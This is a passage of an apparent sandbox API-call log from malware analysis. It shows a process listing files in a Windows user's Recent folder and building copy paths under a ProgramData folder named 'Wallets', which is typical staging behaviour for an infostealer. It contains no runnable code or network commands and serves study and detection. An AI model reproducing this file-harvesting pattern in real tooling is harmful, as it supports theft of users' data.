lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.458] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.458] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="CVG40QMsC.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CVG40QMsC.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CVG40QMsC.lnk" [0052.458] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.458] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.458] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="CVG40QMsC.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CVG40QMsC.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CVG40QMsC.lnk" [0052.458] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.458] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.458] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.458] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="c_WoIttWgm3iy.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c_WoIttWgm3iy.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c_WoIttWgm3iy.lnk" [0052.458] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.458] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.458] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="c_WoIttWgm3iy.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\c_WoIttWgm3iy.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\c_WoIttWgm3iy.lnk" [0052.458] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.458] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.458] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.458] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="DdgFqXxLY-yL.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DdgFqXxLY-yL.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DdgFqXxLY-yL.lnk" [0052.458] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.458] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.458] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="DdgFqXxLY-yL.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\DdgFqXxLY-yL.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\DdgFqXxLY-yL.lnk" [0052.458] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.458] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.459] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.459] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini" [0052.459] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.459] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.459] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="desktop.ini" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\desktop.ini") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\desktop.ini" [0052.459] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.459] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.459] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.459] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="dfN4df2Km5g_w.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dfN4df2Km5g_w.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dfN4df2Km5g_w.lnk" [0052.459] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.459] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.459] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="dfN4df2Km5g_w.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\dfN4df2Km5g_w.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\dfN4df2Km5g_w.lnk" [0052.459] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.459] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.459] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.459] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="DpTmPrt37FRL.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DpTmPrt37FRL.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DpTmPrt37FRL.lnk" [0052.459] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.459] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.459] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="DpTmPrt37FRL.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\DpTmPrt37FRL.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\DpTmPrt37FRL.lnk" [0052.459] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.459] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.459] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.459] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="dyqEr633tTJ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dyqEr633tTJ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dyqEr633tTJ.lnk" [0052.459] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.459] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.459] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="dyqEr633tTJ.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\dyqEr633tTJ.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\dyqEr633tTJ.lnk" [0052.459] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.459] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.459] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.459] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="e6oB25gNQK cIe88wF.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e6oB25gNQK cIe88wF.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e6oB25gNQK cIe88wF.lnk" [0052.459] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.459] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.459] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="e6oB25gNQK cIe88wF.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\e6oB25gNQK cIe88wF.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\e6oB25gNQK cIe88wF.lnk" [0052.460] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.460] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.460] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.460] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="e6ZRYuUh5Mncd1.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e6ZRYuUh5Mncd1.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e6ZRYuUh5Mncd1.lnk" [0052.460] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.460] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.460] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="e6ZRYuUh5Mncd1.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\e6ZRYuUh5Mncd1.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\e6ZRYuUh5Mncd1.lnk" [0052.460] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.460] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.460] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.460] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="EAZKx_JR6b6.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EAZKx_JR6b6.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EAZKx_JR6b6.lnk" [0052.460] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.460] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.460] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="EAZKx_JR6b6.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\EAZKx_JR6b6.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\EAZKx_JR6b6.lnk" [0052.460] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.460] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.460] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.460] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="El226TjMPLIf1bZoRsy.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\El226TjMPLIf1bZoRsy.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\El226TjMPLIf1bZoRsy.lnk" [0052.460] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.460] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.460] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="El226TjMPLIf1bZoRsy.lnk" | out: 